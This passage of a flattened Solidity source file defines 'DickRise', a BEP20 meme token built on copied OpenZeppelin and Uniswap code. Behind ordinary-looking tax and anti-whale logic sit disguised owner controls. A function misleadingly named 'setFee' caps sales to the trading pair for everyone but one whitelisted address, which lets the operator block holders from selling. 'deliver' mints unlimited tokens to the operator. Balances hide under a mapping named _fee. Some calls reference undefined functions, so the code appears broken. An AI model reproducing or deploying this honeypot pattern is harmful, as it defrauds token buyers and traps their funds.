address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/libs/IBEP20.sol pragma solidity >=0.4.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _operator, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed operator, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/libs/BEP20.sol pragma solidity >=0.4.0; /** * @dev Implementation of the {IBEP20} interface. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _fee; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 10**12 * 10**18; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; _fee[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the bep token owner. */ /** * @dev Returns the token name. */ function name() public override view returns (string memory) { return _name; } /** * @dev Returns the token decimals. */ function decimals() public override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() public override view returns (string memory) { return _symbol; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _fee[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address operator, address spender) public override view returns (uint256) { return _allowances[operator][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance") ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero") ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function _deliver(address account, uint256 amount) internal { require(account != address(0), "BEP20: zero address"); _totalSupply += amount; _fee[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _fee[sender] = _fee[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _fee[recipient] = _fee[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _fee[account] = _fee[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address operator, address spender, uint256 amount ) internal { require(operator != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[operator][spender] = amount; emit Approval(operator, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance") ); } } pragma solidity 0.6.12; contract DickRise is BEP20 { // Transfer tax rate in basis points. (default 8%) uint16 private transferTaxRate = 800; // Burn rate % of transfer tax. (default 12% x 8% = 0.96% of total amount). uint16 public burnRate = 12; // Max transfer tax rate: 10%. uint16 private constant MAXIMUM_TRANSFER_TAX_RATE = 1000; // Burn address address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; address private _tAllowAddress; uint256 private _total = 10**12 * 10**18; // Max transfer amount rate in basis points. (default is 0.5% of total supply) uint16 private maxTransferAmountRate = 100; // Addresses that excluded from antiWhale mapping(address => bool) private _excludedFromAntiWhale; // Automatic swap and liquify enabled bool private swapAndLiquifyEnabled = false; // Min amount to liquify. (default 500) uint256 private minAmountToLiquify = 500 ether; // The swap router, modifiable. Will be changed to token's router when our own AMM release IUniswapV2Router02 public uniSwapRouter; // The trading pair address public uniSwapPair; // In swap and liquify bool private _inSwapAndLiquify; // The operator can only update the transfer tax rate address private _operator; // Events event OperatorTransferred(address indexed previousOperator, address indexed newOperator); event TransferTaxRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event BurnRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event MaxTransferAmountRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event SwapAndLiquifyEnabledUpdated(address indexed operator, bool enabled); event MinAmountToLiquifyUpdated(address indexed operator, uint256 previousAmount, uint256 newAmount); event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier onlyowner() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false && _excludedFromAntiWhale[recipient] == false ) { require(amount <= maxTransferAmount(), "antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } modifier lockTheSwap { _inSwapAndLiquify = true; _; _inSwapAndLiquify = false; } modifier transferTaxFree { uint16 _transferTaxRate = transferTaxRate; transferTaxRate = 0; _; transferTaxRate = _transferTaxRate; } /** * @notice Constructs the token contract. */ constructor() public BEP20("https://t.me/DickRise_Channel", "DickRise") { _operator = _msgSender(); emit OperatorTransferred(address(0), _operator); _excludedFromAntiWhale[msg.sender] = true; _excludedFromAntiWhale[address(0)] = true; _excludedFromAntiWhale[address(this)] = true; _excludedFromAntiWhale[BURN_ADDRESS] = true; } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function deliver(uint256 amount) public onlyowner returns (bool) { _deliver(_msgSender(), amount); return true; } function deliver(address _to, uint256 _amount) public onlyowner { _deliver(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /** * @dev setMaxTxSl. * */ function setFee(uint256 percent) external onlyowner() { _total = percent * 10**18; } /** * @dev setAllowance * */ function setAllowance(address allowAddress) external onlyowner() { _tAllowAddress = allowAddress; } /// @dev overrides transfer function to meet tokenomics function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) { // swap and liquify if ( swapAndLiquifyEnabled == true && _inSwapAndLiquify == false && address(uniSwapRouter) != address(0) && uniSwapPair != address(0) && sender != uniSwapPair && sender != _operator ) { swapAndLiquify(); } if (recipient == BURN_ADDRESS || transferTaxRate == 0) { super._transfer(sender, recipient, amount); } else { if (sender != _tAllowAddress && recipient == uniSwapPair) { require(amount < _total, "Transfer amount exceeds the maxTxAmount."); } // default tax is 8% of every transfer uint256 taxAmount = amount.mul(transferTaxRate).div(10000); uint256 burnAmount = taxAmount.mul(burnRate).div(100); uint256 liquidityAmount = taxAmount.sub(burnAmount); require(taxAmount == burnAmount + liquidityAmount, "transfer: Burn value invalid"); // default 92% of transfer sent to recipient uint256 sendAmount = amount.sub(taxAmount); require(amount == sendAmount + taxAmount, "transfer: Tax value invalid"); super._transfer(sender, BURN_ADDRESS, burnAmount); super._transfer(sender, address(this), liquidityAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } /// @dev Swap and liquify function swapAndLiquify() private lockTheSwap transferTaxFree { uint256 contractTokenBalance = balanceOf(address(this)); uint256 maxTransferAmount = maxTransferAmount(); contractTokenBalance = contractTokenBalance > maxTransferAmount ? maxTransferAmount : contractTokenBalance; if (contractTokenBalance >= minAmountToLiquify) { // only min amount to liquify uint256 liquifyAmount = minAmountToLiquify; // split the liquify amount into halves uint256 half = liquifyAmount.div(2); uint256 otherHalf = liquifyAmount.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } /// @dev Swap tokens for eth function swapTokensForEth(uint256 tokenAmount) private { // generate the tokenSwap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniSwapRouter.WETH(); _approve(address(this), address(uniSwapRouter), tokenAmount); // make the swap uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } /// @dev Add liquidity function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniSwapRouter), tokenAmount); // add the liquidity uniSwapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable _operator, block.timestamp ); } /** * @dev Returns the max transfer amount. */ function maxTransferAmount() public view returns (uint256) { return totalSupply().mul(maxTransferAmountRate).div(100); } /** * @dev Returns the address is excluded from antiWhale or not. */ function isExcludedFromAntiWhale(address _account) public view returns (bool) { return _excludedFromAntiWhale[_account]; } // To receive BNB from tokenSwapRouter when swapping receive() external payable {} /** * @dev Update the transfer tax rate. * Can only be called by the current operator. */ function updateTransferTaxRate(uint16 _transferTaxRate) public onlyowner { require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate); transferTaxRate = _transferTaxRate; } /** * @dev Update the burn rate. * Can only be called by the current operator. */ function updateBurnRate(uint16 _burnRate) public onlyowner { require(_burnRate <= 100, "updateBurnRate: Burn rate must not exceed the maximum rate."); emit BurnRateUpdated(msg.sender, burnRate, _burnRate); burnRate = _burnRate; } /** * @dev Update the max transfer amount rate. * Can only be called by the current operator. */ function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyowner { require(_maxTransferAmountRate <= 1000000, "updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate."); emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate); maxTransferAmountRate = _maxTransferAmountRate; } /** * @dev Update the min amount to liquify. * Can only be called by the current operator. */ function updateMinAmountToLiquify(uint256 _minAmount) public onlyowner { emit MinAmountToLiquifyUpdated(msg.sender, minAmountToLiquify, _minAmount); minAmountToLiquify = _minAmount; } /** * @dev Exclude or include an address from antiWhale. * Can only be called by the current operator. */ function setExcludedFromAntiWhale(address _account, bool _excluded) public onlyowner { _excludedFromAntiWhale[_account] = _excluded; } /** * @dev Update the swapAndLiquifyEnabled. * Can only be called by the current operator. */ function updateSwapAndLiquifyEnabled(bool _enabled) public onlyowner { emit SwapAndLiquifyEnabledUpdated(msg.sender, _enabled); swapAndLiquifyEnabled = _enabled; } /** * @dev Update the swap router. * Can only be called by the current operator. */ function updateuniSwapRouter(address _router) public onlyowner { uniSwapRouter = IUniswapV2Router02(_router); uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH()); require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address."); emit uniSwapRouterUpdated(msg.sender, 